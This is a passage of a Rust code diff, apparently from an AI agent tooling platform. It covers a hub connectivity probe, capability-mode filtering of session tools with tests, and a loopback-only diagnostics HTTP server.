||||
let header = b64.encode(br#"{"alg":"none","typ":"JWT"}"#);
|
||||
let payload = b64.encode(json!({ "sub": user_id }).to_string());
|
||||
format!("{header}.{payload}.sig")
|
||||
}
|
||||
|
||||
fn bearer(args: &Args) -> String {
|
||||
args.bearer
|
||||
.clone()
|
||||
.unwrap_or_else(|| dev_bearer(&args.user_id))
|
||||
}
|
||||
|
||||
/// Drive a tool call to its terminal item, discarding progress.
|
||||
async fn call_tool(
|
||||
harness: &kigi_computer_hub_sdk::ToolHarness,
|
||||
name: &str,
|
||||
args: Value,
|
||||
) -> anyhow::Result<Value> {
|
||||
let tool_id = ToolId::new(name).map_err(|e| anyhow::anyhow!("invalid tool id {name}: {e}"))?;
|
||||
let mut stream = harness
|
||||
.call(tool_id, args, ToolCallContext::default())
|
||||
.await;
|
||||
loop {
|
||||
let item = std::future::poll_fn(|cx| stream.as_mut().poll_next(cx)).await;
|
||||
match item {
|
||||
Some(ToolStreamItem::Progress(_)) => {}
|
||||
Some(ToolStreamItem::Terminal(Ok(typed))) => {
|
||||
let typed: TypedToolOutput = typed;
|
||||
return Ok(typed.value);
|
||||
}
|
||||
Some(ToolStreamItem::Terminal(Err(e))) => {
|
||||
anyhow::bail!("tool `{name}` returned error: {e}")
|
||||
}
|
||||
None => anyhow::bail!("tool `{name}` stream ended without a terminal item"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
let _ = rustls::crypto::ring::default_provider().install_default();
|
||||
tracing_subscriber::fmt()
|
||||
.with_env_filter(
|
||||
tracing_subscriber::EnvFilter::try_from_default_env()
|
||||
.unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("warn")),
|
||||
)
|
||||
.init();
|
||||
let args = Args::parse();
|
||||
|
||||
let credential = AuthCredential::bearer(bearer(&args));
|
||||
|
||||
// The server connection can drop once right after connect (the SDK
|
||||
// reconnects with backoff). build()'s eager session_open doesn't
|
||||
// survive that first blip, so retry the connect + bind a few times.
|
||||
let mut last_err = None;
|
||||
for attempt in 1..=8u32 {
|
||||
match connect_and_bind(&args, &credential).await {
|
||||
Ok(harness) => return run_checks(&harness, &args).await,
|
||||
Err(e) => {
|
||||
eprintln!("[probe] attempt {attempt} failed: {e}");
|
||||
last_err = Some(e);
|
||||
tokio::time::sleep(std::time::Duration::from_millis(1500)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(last_err.unwrap_or_else(|| anyhow::anyhow!("probe failed")))
|
||||
}
|
||||
|
||||
/// Connect to the server, open a session, and bind the workspace-server.
|
||||
async fn connect_and_bind(
|
||||
args: &Args,
|
||||
credential: &AuthCredential,
|
||||
) -> anyhow::Result<kigi_computer_hub_sdk::ToolHarness> {
|
||||
let harness_session = SessionId::new(format!("probe-{}", Uuid::new_v4()))
|
||||
.map_err(|e| anyhow::anyhow!("invalid harness session id: {e}"))?;
|
||||
let url = Url::parse(&format!("{}?role=harness", args.hub_url))
|
||||
.map_err(|e| anyhow::anyhow!("invalid --hub-url: {e}"))?;
|
||||
|
||||
let harness = ToolHarnessBuilder::default()
|
||||
.pool(HubConnectionPool::new())
|
||||
.url(url)
|
||||
.auth(credential.clone())
|
||||
.session(harness_session)
|
||||
.build()
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("failed to build server harness: {e}"))?;
|
||||
|
||||
let servers = harness
|
||||
.list_servers()
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("servers.list failed: {e}"))?;
|
||||
let server_ids: Vec<String> = servers
|
||||
.iter()
|
||||
.map(|s| s.server_id.as_str().to_owned())
|
||||
.collect();
|
||||
eprintln!("[probe] servers visible to this user: {server_ids:?}");
|
||||
|
||||
let server_id = args.session_id.as_str();
|
||||
// Strict servers (`--require-explicit-toolset`) fail metadata-less binds
|
||||
// closed: bind with exactly the tools the checks below invoke.
|
||||
let metadata = json!({
|
||||
"tools": [
|
||||
{"id": "GrokBuild:run_terminal_cmd", "name_override": "run_terminal_command"},
|
||||
{"id": "GrokBuild:read_file"},
|
||||
],
|
||||
});
|
||||
let tools = harness
|
||||
.session_bind(server_id, Some(&args.cwd), Some(metadata))
|
||||
.await
|
||||
.map_err(|e| {
|
||||
anyhow::anyhow!(
|
||||
"session_bind({server_id}) failed: {e} (is the workspace-server registered \
|
||||
for this user? visible servers: {server_ids:?})"
|
||||
)
|
||||
})?;
|
||||
eprintln!(
|
||||
"[probe] bound workspace-server {server_id}: {} tools available",
|
||||
tools.len()
|
||||
);
|
||||
Ok(harness)
|
||||
}
|
||||
|
||||
/// Invoke real tools on the bound workspace-server and assert results.
|
||||
async fn run_checks(
|
||||
harness: &kigi_computer_hub_sdk::ToolHarness,
|
||||
_args: &Args,
|
||||
) -> anyhow::Result<()> {
|
||||
// 1) run_terminal_command must echo our nonce back.
|
||||
let nonce = format!("probe-nonce-{}", Uuid::new_v4());
|
||||
let marker = format!("/tmp/{nonce}.txt");
|
||||
let out = call_tool(
|
||||
harness,
|
||||
"run_terminal_command",
|
||||
json!({ "command": format!("echo {nonce} | tee {marker}") }),
|
||||
)
|
||||
.await?;
|
||||
let out_text = serde_json::to_string(&out).unwrap_or_default();
|
||||
anyhow::ensure!(
|
||||
out_text.contains(&nonce),
|
||||
"run_terminal_command output did not contain the nonce; got: {out_text}"
|
||||
);
|
||||
eprintln!("[probe] run_terminal_command OK (nonce echoed)");
|
||||
|
||||
// 2) read_file must read the file the command wrote.
|
||||
let read_out = call_tool(harness, "read_file", json!({ "target_file": marker })).await?;
|
||||
let read_text = serde_json::to_string(&read_out).unwrap_or_default();
|
||||
anyhow::ensure!(
|
||||
read_text.contains(&nonce),
|
||||
"read_file did not return the written nonce; got: {read_text}"
|
||||
);
|
||||
eprintln!("[probe] read_file OK (read back written nonce)");
|
||||
|
||||
println!("PROBE_OK");
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,332 @@
|
||||
//! Capability-mode filtering for session toolsets.
|
||||
|
||||
use kigi_tools::registry::types::{ToolConfig, ToolServerConfig};
|
||||
use kigi_tools::types::tool::ToolKind;
|
||||
|
||||
/// Capability mode applied to a session's toolset.
|
||||
///
|
||||
/// A partial order is defined via [`CapabilityMode::is_subset_of`]:
|
||||
/// `ReadOnly < ReadWrite < All` and `ReadOnly < Execute < All`.
|
||||
/// `ReadWrite` and `Execute` are *incomparable* (neither is a subset
|
||||
/// of the other). `fork_session` enforces `child <= parent`.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, serde::Serialize, serde::Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum CapabilityMode {
|
||||
/// Reading and searching only. No edits, no shell, no background tasks.
|
||||
ReadOnly,
|
||||
/// Read + edit. No shell execution.
|
||||
ReadWrite,
|
||||
/// Read + shell execution + background-task control. No edits.
|
||||
Execute,
|
||||
/// Every tool kind allowed.
|
||||
All,
|
||||
}
|
||||
|
||||
impl Default for CapabilityMode {
|
||||
/// Defaults to [`CapabilityMode::ReadWrite`] (subagent default;
|
||||
/// the main/root session is always `All`).
|
||||
fn default() -> Self {
|
||||
Self::ReadWrite
|
||||
}
|
||||
}
|
||||
|
||||
impl CapabilityMode {
|
||||
/// Filter `config.tools` by capability mode, returning a copy with
|
||||
/// disallowed tools dropped.
|
||||
///
|
||||
/// Tools whose `kind` is `None` (baseline, e.g. ad-hoc tools
|
||||
/// declared via `ToolConfig::simple`) are preserved across all
|
||||
/// modes. **MCP-origin** `kind: None` tools are NOT preserved by
|
||||
/// this method; see `resolve_session_toolset` for the asymmetric
|
||||
/// handling.
|
||||
pub fn filter(self, config: &ToolServerConfig) -> ToolServerConfig {
|
||||
let kept: Vec<ToolConfig> = config
|
||||
.tools
|
||||
.iter()
|
||||
.filter(|tool| match tool.kind {
|
||||
None => true,
|
||||
Some(kind) => kind_allowed(self, kind),
|
||||
})
|
||||
.cloned()
|
||||
.collect();
|
||||
ToolServerConfig {
|
||||
tools: kept,
|
||||
behavior_preset: config.behavior_preset.clone(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether every kind allowed by `self` is also allowed by `other`.
|
||||
/// Used by `fork_session` to reject capability widening.
|
||||
pub fn is_subset_of(self, other: CapabilityMode) -> bool {
|
||||
for kind in ALL_TOOL_KINDS {
|
||||
if kind_allowed(self, *kind) && !kind_allowed(other, *kind) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
/// Every `ToolKind` variant. Used by `is_subset_of` and by parameterised
|
||||
/// tests. When a new variant is added to `ToolKind`, the compile-time
|
||||
/// assertion below fires so it can't be silently omitted.
|
||||
pub(crate) const ALL_TOOL_KINDS: &[ToolKind] = &[
|
||||
ToolKind::Read,
|
||||
ToolKind::Edit,
|
||||
ToolKind::Delete,
|
||||
ToolKind::ListDir,
|
||||
ToolKind::Write,
|
||||
ToolKind::Move,
|
||||
ToolKind::Search,
|
||||
ToolKind::Lsp,
|
||||
ToolKind::Execute,
|
||||
ToolKind::Plan,
|
||||
ToolKind::WebSearch,
|
||||
ToolKind::WebFetch,
|
||||
ToolKind::BackgroundTaskAction,
|
||||
ToolKind::WaitTasksAction,
|
||||
ToolKind::KillTaskAction,
|
||||
ToolKind::List,
|
||||
ToolKind::Skill,
|
||||
ToolKind::MemorySearch,
|
||||
ToolKind::MemoryGet,
|
||||
ToolKind::Task,
|
||||
ToolKind::EnterPlan,
|
||||
ToolKind::ExitPlan,
|
||||
ToolKind::AskUser,
|
||||
ToolKind::ImageGen,
|
||||
ToolKind::VideoGen,
|
||||
ToolKind::ImageToVideo,
|
||||
ToolKind::ReferenceToVideo,
|
||||
ToolKind::DeployApp,
|
||||
ToolKind::SearchTool,
|
||||
ToolKind::UseTool,
|
||||
ToolKind::Monitor,
|
||||
ToolKind::GoalUpdate,
|
||||
ToolKind::Other,
|
||||
];
|
||||
|
||||
// Compile-time guard: if a new `ToolKind` variant is added but not listed in
|
||||
// `ALL_TOOL_KINDS`, this assertion fails.
|
||||
const _: () = assert!(
|
||||
ALL_TOOL_KINDS.len() == ToolKind::VARIANT_COUNT,
|
||||
"ALL_TOOL_KINDS is out of sync with ToolKind — add the new variant"
|
||||
);
|
||||
|
||||
/// Maps `(CapabilityMode, ToolKind)` -> kept-or-dropped.
|
||||
///
|
||||
/// This `match` is intentionally exhaustive: when `ToolKind` gains a
|
||||
/// new variant the compiler errors here, forcing a triage decision.
|
||||
pub(crate) fn kind_allowed(mode: CapabilityMode, kind: ToolKind) -> bool {
|
||||
use CapabilityMode as M;
|
||||
use ToolKind::*;
|
||||
|
||||
if matches!(mode, M::All) {
|
||||
return true;
|
||||
}
|
||||
|
||||
match kind {
|
||||
// Meta tools: always allowed.
|
||||
Plan | EnterPlan | ExitPlan | AskUser | Skill | SearchTool | GoalUpdate => true,
|
||||
|
||||
// Read class.
|
||||
Read | MemoryGet | MemorySearch => {
|
||||
matches!(mode, M::ReadOnly | M::ReadWrite | M::Execute)
|
||||
}
|
||||
|
||||
// Search class.
|
||||
Search | WebSearch | WebFetch => {
|
||||
matches!(mode, M::ReadOnly | M::ReadWrite | M::Execute)
|
||||
}
|
||||
|
||||
// Inspect class.
|
||||
Lsp | ListDir | List => matches!(mode, M::ReadOnly | M::ReadWrite | M::Execute),
|
||||
|
||||
// Edit class.
|
||||
Edit | Write | Delete | Move | ImageGen | VideoGen | ImageToVideo | ReferenceToVideo
|
||||
| DeployApp => matches!(mode, M::ReadWrite),
|
||||
|
||||
// Bash / shell.
|
||||
Execute => matches!(mode, M::Execute),
|
||||
|
||||
// Process control (background tasks, monitors).
|
||||
BackgroundTaskAction | WaitTasksAction | KillTaskAction | Task | Monitor => {
|
||||
matches!(mode, M::Execute)
|
||||
}
|
||||
|
||||
// Integration dispatch.
|
||||
UseTool => matches!(mode, M::ReadWrite | M::Execute),
|
||||
|
||||
// Catch-all -- only `All` mode keeps it (early-return above).
|
||||
Other => false,
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tests
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::session::tool_config::test_support;
|
||||
use kigi_tools::types::tool::ToolKind;
|
||||
|
||||
fn make_cfg(tools: Vec<ToolConfig>) -> ToolServerConfig {
|
||||
ToolServerConfig {
|
||||
tools,
|
||||
behavior_preset: None,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn capability_mode_filter_table_is_exhaustive_per_kind() {
|
||||
for &mode in &[
|
||||
CapabilityMode::ReadOnly,
|
||||
CapabilityMode::ReadWrite,
|
||||
CapabilityMode::Execute,
|
||||
CapabilityMode::All,
|
||||
] {
|
||||
for &kind in ALL_TOOL_KINDS {
|
||||
let id = format!("kind_{kind:?}");
|
||||
let cfg = make_cfg(vec![test_support::tc(&id, Some(kind))]);
|
||||
let out = mode.filter(&cfg);
|
||||
let expected_present = kind_allowed(mode, kind);
|
||||
let actually_present = out.tools.iter().any(|t| t.id == id);
|
||||
assert_eq!(
|
||||
actually_present, expected_present,
|
||||
"({mode:?}, {kind:?}): expected present={expected_present}, got {actually_present}"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn capability_mode_filter_anchored_membership() {
|
||||
let cfg = make_cfg(vec![
|
||||
test_support::tc("read", Some(ToolKind::Read)),
|
||||
test_support::tc("search", Some(ToolKind::Search)),
|
||||
test_support::tc("inspect", Some(ToolKind::Lsp)),
|
||||
test_support::tc("edit", Some(ToolKind::Edit)),
|
||||
test_support::tc("write", Some(ToolKind::Write)),
|
||||
test_support::tc("bash", Some(ToolKind::Execute)),
|
||||
test_support::tc("bg", Some(ToolKind::BackgroundTaskAction)),
|
||||
test_support::tc("plan", Some(ToolKind::Plan)),
|
||||
test_support::tc("ask", Some(ToolKind::AskUser)),
|
||||
test_support::tc("other", Some(ToolKind::Other)),
|
||||
]);
|
||||
|
||||
let names = |c: &ToolServerConfig| -> Vec<String> {
|
||||
c.tools.iter().map(|t| t.id.clone()).collect()
|
||||
};
|
||||
|
||||
let ro = CapabilityMode::ReadOnly.filter(&cfg);
|
||||
assert_eq!(names(&ro), vec!["read", "search", "inspect", "plan", "ask"]);
|
||||
|
||||
let rw = CapabilityMode::ReadWrite.filter(&cfg);
|
||||
assert_eq!(
|
||||
names(&rw),
|
||||
vec!["read", "search", "inspect", "edit", "write", "plan", "ask"]
|
||||
);
|
||||
|
||||
let ex = CapabilityMode::Execute.filter(&cfg);
|
||||
assert_eq!(
|
||||
names(&ex),
|
||||
vec!["read", "search", "inspect", "bash", "bg", "plan", "ask"]
|
||||
);
|
||||
|
||||
let all = CapabilityMode::All.filter(&cfg);
|
||||
assert_eq!(
|
||||
names(&all),
|
||||
vec![
|
||||
"read", "search", "inspect", "edit", "write", "bash", "bg", "plan", "ask", "other"
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn capability_mode_baseline_kind_none_always_kept_via_filter() {
|
||||
let cfg = make_cfg(vec![
|
||||
test_support::tc("baseline.opaque", None),
|
||||
test_support::tc("baseline.also_opaque", None),
|
||||
test_support::tc("edit_dropped", Some(ToolKind::Edit)),
|
||||
]);
|
||||
|
||||
for mode in [
|
||||
CapabilityMode::ReadOnly,
|
||||
CapabilityMode::ReadWrite,
|
||||
CapabilityMode::Execute,
|
||||
CapabilityMode::All,
|
||||
] {
|
||||
let filtered = mode.filter(&cfg);
|
||||
let ids: Vec<&str> = filtered.tools.iter().map(|t| t.id.as_str()).collect();
|
||||
assert!(
|
||||
ids.contains(&"baseline.opaque"),
|
||||
"kind: None tool dropped under {mode:?}: {ids:?}"
|
||||
);
|
||||
assert!(
|
||||
ids.contains(&"baseline.also_opaque"),
|
||||
"kind: None tool dropped under {mode:?}: {ids:?}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn capability_mode_preserves_behavior_preset_across_all_modes() {
|
||||
let mut cfg = make_cfg(vec![test_support::tc("read", Some(ToolKind::Read))]);
|
||||
cfg.behavior_preset = Some("current".to_owned());
|
||||
for mode in [
|
||||
CapabilityMode::ReadOnly,
|
||||
CapabilityMode::ReadWrite,
|
||||
CapabilityMode::Execute,
|
||||
CapabilityMode::All,
|
||||
] {
|
||||
let out = mode.filter(&cfg);
|
||||
assert_eq!(
|
||||
out.behavior_preset.as_deref(),
|
||||
Some("current"),
|
||||
"behavior_preset lost under {mode:?}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// is_subset_of partial order
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
#[test]
|
||||
fn capability_mode_is_subset_of_reflexive() {
|
||||
for &m in &[
|
||||
CapabilityMode::ReadOnly,
|
||||
CapabilityMode::ReadWrite,
|
||||
CapabilityMode::Execute,
|
||||
CapabilityMode::All,
|
||||
] {
|
||||
assert!(m.is_subset_of(m), "{m:?} must be a subset of itself");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn capability_mode_is_subset_of_strict_chains() {
|
||||
assert!(CapabilityMode::ReadOnly.is_subset_of(CapabilityMode::ReadWrite));
|
||||
assert!(CapabilityMode::ReadOnly.is_subset_of(CapabilityMode::All));
|
||||
assert!(CapabilityMode::ReadWrite.is_subset_of(CapabilityMode::All));
|
||||
assert!(CapabilityMode::ReadOnly.is_subset_of(CapabilityMode::Execute));
|
||||
assert!(CapabilityMode::Execute.is_subset_of(CapabilityMode::All));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn capability_mode_is_subset_of_widening_rejected() {
|
||||
assert!(!CapabilityMode::All.is_subset_of(CapabilityMode::ReadOnly));
|
||||
assert!(!CapabilityMode::ReadWrite.is_subset_of(CapabilityMode::ReadOnly));
|
||||
assert!(!CapabilityMode::Execute.is_subset_of(CapabilityMode::ReadOnly));
|
||||
assert!(!CapabilityMode::All.is_subset_of(CapabilityMode::ReadWrite));
|
||||
assert!(!CapabilityMode::All.is_subset_of(CapabilityMode::Execute));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn capability_mode_is_subset_of_incomparable_pairs() {
|
||||
assert!(!CapabilityMode::ReadWrite.is_subset_of(CapabilityMode::Execute));
|
||||
assert!(!CapabilityMode::Execute.is_subset_of(CapabilityMode::ReadWrite));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
//! Shared transport types used by workspace communication layers.
|
||||
//!
|
||||
//! The `WorkspaceChannel` trait and `MpscChannel` in-process implementation
|
||||
//! have been removed. Sessions now use `WorkspaceHandle` directly (local mode)
|
||||
//! or `ToolHarness` RPC calls (proxy mode). These shared types remain for
|
||||
//! backward compatibility with code that references them.
|
||||
|
||||
use serde_json::Value;
|
||||
|
||||
/// Context passed alongside transport calls (session routing, tracing, etc.).
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct TransportContext {
|
||||
pub session_id: Option<String>,
|
||||
}
|
||||
|
||||
/// Transport-level error (distinct from [`WorkspaceError`]).
|
||||
pub type TransportError = anyhow::Error;
|
||||
pub type TransportCallResult = Value;
|
||||
pub type TransportNotification = Value;
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,561 @@
|
||||
//! In-guest diagnostics HTTP server (`/ready`, `/statusz`, `/logs`) for the
|
||||
//! standalone workspace-server.
|
||||
//!
|
||||
//! The surface is reachable by any process inside the user's own sandbox
|
||||
//! (loopback-only TCP, or a 0600 Unix socket) and is never exposed through
|
||||
//! the sandbox port mapping. `/logs` returns the raw daemon log: treat its
|
||||
//! output as sensitive and keep the log stream free of secrets.
|
||||
|
||||
use std::io::{self, Read as _, Seek as _, SeekFrom};
|
||||
use std::net::Ipv4Addr;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use std::{env, fs, process};
|
||||
|
||||
use anyhow::anyhow;
|
||||
use axum::Router;
|
||||
use axum::extract::{Query, State};
|
||||
use axum::http::{StatusCode, header};
|
||||
use axum::response::{IntoResponse, Response};
|
||||
use axum::routing::get;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::net::TcpListener;
|
||||
#[cfg(unix)]
|
||||
use tokio::net::UnixListener;
|
||||
use tokio::task::JoinHandle;
|
||||
|
||||
/// Default Unix socket path (resolves host-visibly under the production
|
||||
/// launcher's `/tmp` bind mount, next to the ready/pid files).
|
||||
#[cfg(unix)]
|
||||
pub const DEFAULT_DIAG_SOCKET_PATH: &str = "/tmp/workspace-server.sock";
|
||||
|
||||
/// Default loopback TCP port for Windows guests.
|
||||
pub const DEFAULT_DIAG_PORT: u16 = 6016;
|
||||
|
||||
/// Grep-able daemon-log marker for a diagnostics bind failure.
|
||||
pub const DIAG_BIND_FAILED_MARKER: &str = "diagnostics server bind failed";
|
||||
|
||||
/// Process exit code for a fatal diagnostics bind failure in `--daemonize` mode.
|
||||
pub const EXIT_DIAG_BIND_FAILED: i32 = 5;
|
||||
|
||||
/// Default `/logs` tail size when `tail_bytes` is not given.
|
||||
pub const DEFAULT_LOG_TAIL_BYTES: u64 = 64 * 1024;
|
||||
|
||||
/// Hard cap on a `/logs` response; larger `tail_bytes` values are clamped.
|
||||
pub const MAX_LOG_TAIL_BYTES: u64 = 256 * 1024;
|
||||
|
||||
/// Hub connection state as reported on `/ready`.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum DiagState {
|
||||
Starting,
|
||||
Connected,
|
||||
Disconnected,
|
||||
}
|
||||
|
||||
/// Response body for `/ready`. The field set is a frozen contract with the
|
||||
/// sandbox readiness gate: never rename or remove fields; additions are
|
||||
/// backward-compatible.
|
||||
#[derive(Debug, Serialize)]
|
||||
struct ReadyBody {
|
||||
/// Serialized as an explicit `null` (never omitted) for nonce-less
|
||||
/// launches.
|
||||
launch_id: Option<String>,
|
||||
state: DiagState,
|
||||
pid: u32,
|
||||
connected_at: Option<u64>,
|
||||
state_changed_at: u64,
|
||||
version: &'static str,
|
||||
}
|
||||
|
||||
/// Response body for `/statusz`: the `/ready` fields plus debug extras.
|
||||
#[derive(Debug, Serialize)]
|
||||
struct StatuszBody {
|
||||
#[serde(flatten)]
|
||||
ready: ReadyBody,
|
||||
os: &'static str,
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct Inner {
|
||||
state: DiagState,
|
||||
connected_at: Option<u64>,
|
||||
state_changed_at: u64,
|
||||
shutting_down: bool,
|
||||
}
|
||||
|
||||
/// Cloneable handle publishing hub lifecycle transitions to the server.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct DiagHandle {
|
||||
launch_id: Option<String>,
|
||||
inner: Arc<Mutex<Inner>>,
|
||||
}
|
||||
|
||||
impl DiagHandle {
|
||||
/// `launch_id` is the caller-minted per-spawn nonce, echoed verbatim on
|
||||
/// `/ready` (`null` for nonce-less local launches).
|
||||
pub fn new(launch_id: Option<String>) -> Self {
|
||||
Self {
|
||||
launch_id,
|
||||
inner: Arc::new(Mutex::new(Inner {
|
||||
state: DiagState::Starting,
|
||||
connected_at: None,
|
||||
state_changed_at: now_ms(),
|
||||
shutting_down: false,
|
||||
})),
|
||||
}
|
||||
}
|
||||
|
||||
/// Initial hello completed, or a reconnect's serve replay settled.
|
||||
/// Ignored after [`Self::set_shutting_down`]: a reconnect that settles
|
||||
/// during the shutdown drain must not republish `connected`.
|
||||
pub fn set_connected(&self) {
|
||||
let mut inner = self.lock();
|
||||
if inner.shutting_down {
|
||||
return;
|
||||
}
|
||||
inner.state = DiagState::Connected;
|
||||
let now = now_ms();
|
||||
inner.connected_at.get_or_insert(now);
|
||||
inner.state_changed_at = now;
|
||||
}
|
||||
|
||||
/// Server socket dropped.
|
||||
pub fn set_disconnected(&self) {
|
||||
let mut inner = self.lock();
|
||||
inner.state = DiagState::Disconnected;
|
||||
inner.state_changed_at = now_ms();
|
||||
}
|
||||
|
||||
/// Latch `disconnected` for process shutdown: reported as `disconnected`
|
||||
/// on `/ready`, and later `set_connected` calls become no-ops.
|
||||
pub fn set_shutting_down(&self) {
|
||||
let mut inner = self.lock();
|
||||
inner.shutting_down = true;
|
||||
inner.state = DiagState::Disconnected;
|
||||
inner.state_changed_at = now_ms();
|
||||
}
|
||||
|
||||
/// True after [`Self::set_shutting_down`].
|
||||
pub fn is_shutting_down(&self) -> bool {
|
||||
self.lock().shutting_down
|
||||
}
|
||||
|
||||
fn lock(&self) -> MutexGuard<'_, Inner> {
|
||||
self.inner.lock().unwrap_or_else(PoisonError::into_inner)
|
||||
}
|
||||
|
||||
fn ready_body(&self) -> ReadyBody {
|
||||
let inner = self.lock();
|
||||
ReadyBody {
|
||||
launch_id: self.launch_id.clone(),
|
||||
state: inner.state,
|
||||
pid: process::id(),
|
||||
connected_at: inner.connected_at,
|
||||
state_changed_at: inner.state_changed_at,
|
||||
version: kigi_version::VERSION,
|
||||
}
|
||||
}
|
||||
|
||||
fn statusz_body(&self) -> StatuszBody {
|
||||
StatuszBody {
|
||||
ready: self.ready_body(),
|
||||
os: env::consts::OS,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn now_ms() -> u64 {
|
||||
SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.map(|d| d.as_millis() as u64)
|
||||
.unwrap_or(0)
|
||||
}
|
||||
|
||||
/// Where the diagnostics server listens: a Unix socket on Linux, loopback TCP
|
||||
/// on Windows. Both variants compile everywhere so the TCP path is testable
|
||||
/// on Linux.
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum DiagListener {
|
||||
#[cfg(unix)]
|
||||
Unix(PathBuf),
|
||||
Tcp(u16),
|
||||
}
|
||||
|
||||
/// Shared request state: the lifecycle handle plus the daemon log path
|
||||
/// (`None` when logs go to a terminal instead of a file — `/logs` is 404).
|
||||
#[derive(Debug, Clone)]
|
||||
struct DiagContext {
|
||||
handle: DiagHandle,
|
||||
log_file: Option<Arc<PathBuf>>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct LogsQuery {
|
||||
tail_bytes: Option<u64>,
|
||||
}
|
||||
|
||||
async fn logs(State(ctx): State<DiagContext>, Query(query): Query<LogsQuery>) -> Response {
|
||||
let Some(path) = ctx.log_file else {
|
||||
return StatusCode::NOT_FOUND.into_response();
|
||||
};
|
||||
let tail = query
|
||||
.tail_bytes
|
||||
.unwrap_or(DEFAULT_LOG_TAIL_BYTES)
|
||||
.min(MAX_LOG_TAIL_BYTES);
|
||||
match tokio::task::spawn_blocking(move || tail_file(&path, tail)).await {
|
||||
Ok(Ok(bytes)) => (
|
||||
[(header::CONTENT_TYPE, "text/plain; charset=utf-8")],
|
||||
String::from_utf8_lossy(&bytes).into_owned(),
|
||||
)
|
||||
.into_response(),
|
||||
Ok(Err(e)) if e.kind() == io::ErrorKind::NotFound => StatusCode::NOT_FOUND.into_response(),
|
||||
// Generic body: an io::Error would echo the log-file path to clients.
|
||||
Ok(Err(e)) => {
|
||||
tracing::warn!(error = %e, "failed to read log tail");
|
||||
(StatusCode::INTERNAL_SERVER_ERROR, "failed to read log").into_response()
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!(error = %e, "log tail task failed");
|
||||
(StatusCode::INTERNAL_SERVER_ERROR, "failed to read log").into_response()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Read at most the last `max` bytes of `path`.
|
||||
fn tail_file(path: &Path, max: u64) -> io::Result<Vec<u8>> {
|
||||
let mut file = fs::File::open(path)?;
|
||||
let len = file.metadata()?.len();
|
||||
file.seek(SeekFrom::Start(len.saturating_sub(max)))?;
|
||||
let mut buf = Vec::new();
|
||||
// `take` bounds the read even if the file grows underneath us.
|
||||
file.take(max).read_to_end(&mut buf)?;
|
||||
Ok(buf)
|
||||
}
|
||||
|
||||
fn router(ctx: DiagContext) -> Router {
|
||||
Router::new()
|
||||
.route(
|
||||
"/ready",
|
||||
get(|State(ctx): State<DiagContext>| async move {
|
||||
let body = ctx.handle.ready_body();
|
||||
// Non-2xx for "not ready" so naive HTTP probes agree with
|
||||
// consumers that parse `state`. The body is served either way.
|
||||
let status = if body.state == DiagState::Connected {
|
||||
StatusCode::OK
|
||||
} else {
|
||||
StatusCode::SERVICE_UNAVAILABLE
|
||||
};
|
||||
(status, axum::Json(body))
|
||||
}),
|
||||
)
|
||||
.route(
|
||||
"/statusz",
|
||||
get(|State(ctx): State<DiagContext>| async move { axum::Json(ctx.handle.statusz_body()) }),
|
||||
)
|
||||
.route("/logs", get(logs))
|
||||
.with_state(ctx)
|
||||
}
|
||||
|
||||
/// Bind the listener and spawn the server task. Binding happens before this
|
||||
/// returns, so a bind failure surfaces synchronously. `log_file` is the
|
||||
/// daemon log served by `/logs` (`None` ⇒ `/logs` is 404).
|
||||
pub async fn serve(
|
||||
listener: DiagListener,
|
||||
handle: DiagHandle,
|
||||
log_file: Option<PathBuf>,
|
||||
) -> anyhow::Result<BoundDiag> {
|
||||
let ctx = DiagContext {
|
||||
handle,
|
||||
log_file: log_file.map(Arc::new),
|
||||
};
|
||||
match listener {
|
||||
#[cfg(unix)]
|
||||
DiagListener::Unix(path) => {
|
||||
let _ = fs::remove_file(&path);
|
||||
let listener =
|
||||
UnixListener::bind(&path).map_err(|e| anyhow!("bind {}: {e}", path.display()))?;
|
||||
use std::os::unix::fs::PermissionsExt as _;
|
||||
if let Err(e) = fs::set_permissions(&path, fs::Permissions::from_mode(0o600)) {
|
